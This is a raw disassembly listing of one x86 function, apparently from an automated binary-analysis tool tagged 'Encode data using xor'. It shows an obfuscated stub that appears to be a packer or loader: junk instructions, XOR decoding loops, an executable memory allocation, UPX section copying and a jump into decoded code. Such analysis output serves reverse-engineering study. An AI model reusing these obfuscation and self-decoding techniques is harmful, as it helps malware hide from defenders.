Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x1cc1a44b
mov ebx, esi
or ebx, ebx
sub esi, 0x56ed37e2
popal
add ebx, 0x1d838d82
dec esi
not ebx
mov edi, 0
mov ebx, edx
and eax, ecx
add eax, 0x91d300fd
add ecx, 0xabc2cc63
mov esi, ebx
sub eax, ecx
mov eax, ecx
mov edx, esi
inc eax
add eax, eax
add eax, 0xa05ab86b
inc edi
add eax, 0x830f6eeb
not eax
cmp edi, 0x1008f97
jne 0xa789cb
add eax, 1
sub eax, 1
sub esi, 0x41bd2d80
add esi, esi
mov eax, 0xa78796
add esi, 0xc1a95dca
mov esi, 0xad530aa6
or edx, esi
mov ecx, 0xa7898a
or edx, esi
sub ebx, 1
mov edi, dword [eax]
not esi
dec ebx
add edx, ebx
and edi, 0xff
sub ebx, edx
add edx, 0x45884f11
xor dword [ecx], edi
mov edx, 0x7754ca45
mov esi, 0x5e3a0d7e
and ebx, esi
inc ecx
sub ebx, 0x17ad6c08
sub esi, 0x70742abb
inc eax
add esi, ebx
sub edx, 1
cmp ecx, entry0
jl 0xa78a34
sub esi, 0xa125a593
add ebx, edx
add ebx, ebx
and esi, ebx
mov ebx, edx
inc ebx
dec ebx
mov esi, 0xa7898e
sub edx, ecx
add edi, 1
mov esi, dword [esi]
dec ebx
mov edi, ebx
add ecx, edx
mov esi, dword [esi]
mov ebx, edi
sub ebx, 0xcfaec239
push esi
sub edx, ebx
add ecx, 0xc6cd9520
mov esi, 0xa7898a
and edi, edi
not edx
add edi, 1
mov esi, dword [esi]
add edx, edx
and edx, edx
mov esi, dword [esi]
sub edx, 0x9900282b
and ebx, ecx
not ecx
sub esp, 4
mov dword [esp], 0xa78992
not ebx
sub edi, ebx
call esi
or edi, ebx
not edi
pop esi
sub ebx, edx
and edx, edx
push 0xa7899f
add ebx, 1
and ecx, edx
add edi, 0xd62040dc
push eax
add ecx, ebx
mov edx, 0xa3e93a84
sub ebx, 0x2058ee7e
call esi
sub edi, ebx
and ebx, ecx
push 0x40
or edi, edx
sub edi, edx
push 0x3000
mov ecx, edx
sub edx, 0x78b3658a
sub esp, 4
mov dword [esp], 0x20000b1f
inc edx
and ecx, ebx
not edi
push 0
and ecx, ecx
and edx, edi
call eax
mov ebx, 0x334060b5
sub edi, edx
and ebx, ebx
add eax, 0x20000a92
not edi
mov edx, 0x748974e4
and ecx, edi
mov esi, 0xb04f0f0f
mov ecx, 0xa7922e8e
add ecx, ebx
sub ebx, 1
mov dword [eax], esi
sub edx, ecx
add ebx, ebx
or ecx, edi
mov esi, dword [eax]
mov ebx, edi
and edx, edx
dec edx
cmp esi, 0xb04f0f0f
je 0xa78b89
mov edx, 0
mov byte [edx], al
not ecx
inc ecx
inc ecx
not ecx
sub ecx, 0xea763ee2
not ebx
or esi, ebx
mov edx, section.UPX1
mov esi, 0xc46854f5
not esi
mov ecx, 0xa78795
dec ebx
mov ebx, esi
mov esi, ebx
mov edi, 0
sub ebx, esi
add ebx, 0x55a51a83
mov ebx, 0x5698f73a
mov eax, 0xa78796
sub ebx, 0x933ecb5a
add esi, 0xd614b53a
lea eax, [edi + eax]
dec ebx
sub esi, 1
add ebx, esi
mov eax, dword [eax]
not esi
add esi, 1
add ebx, ebx
and eax, 0xff
sub esi, ebx
inc esi
inc edi
dec ebx
sub ebx, 0x97e6e2a5
cmp edi, 0x1f4
jne 0xa78c08
mov edi, 0
mov esi, 0xaa5a444e
mov esi, ebx
dec esi
and ebx, esi
sub esi, ebx
xor dword [edx], eax
sub esi, 0x5c748d
add esi, ebx
mov esi, ebx
add edx, 2
sub ebx, esi
sub esi, 0x434b6d07
cmp edx, ecx
jl 0xa78bc1
add esi, esi
mov ebx, 0xa4f284fa
add ebx, ebx
and ebx, esi
sub esi, 1
mov edi, section.UPX1
mov esi, ebx
and esi, esi
mov ecx, section.UPX1
add ebx, esi
mov ebx, 0xa14a4067
mov edx, 0xa78795
dec ebx
add ebx, 0x751ca823
add esi, ebx
mov eax, 0
add ebx, ebx
mov ebx, 0xd104888a
mov al, byte [ecx]
mov ebx, esi
and ebx, esi
mov byte [edi], al
add ebx, esi
dec esi
add ebx, 0x3275ae87
add edi, 1
sub ebx, esi
sub esi, 0x171c3b0b
add ecx, 2
sub esi, ebx
inc esi
cmp ecx, edx
jle 0xa78c76
sub ebx, 1
mov esi, ebx
mov esi, ebx
add esi, 0x37e4e5c3
sub esp, 4
mov dword [esp], 0x8dc6a0
add esi, 1
mov ebx, 0xf90267c2
ret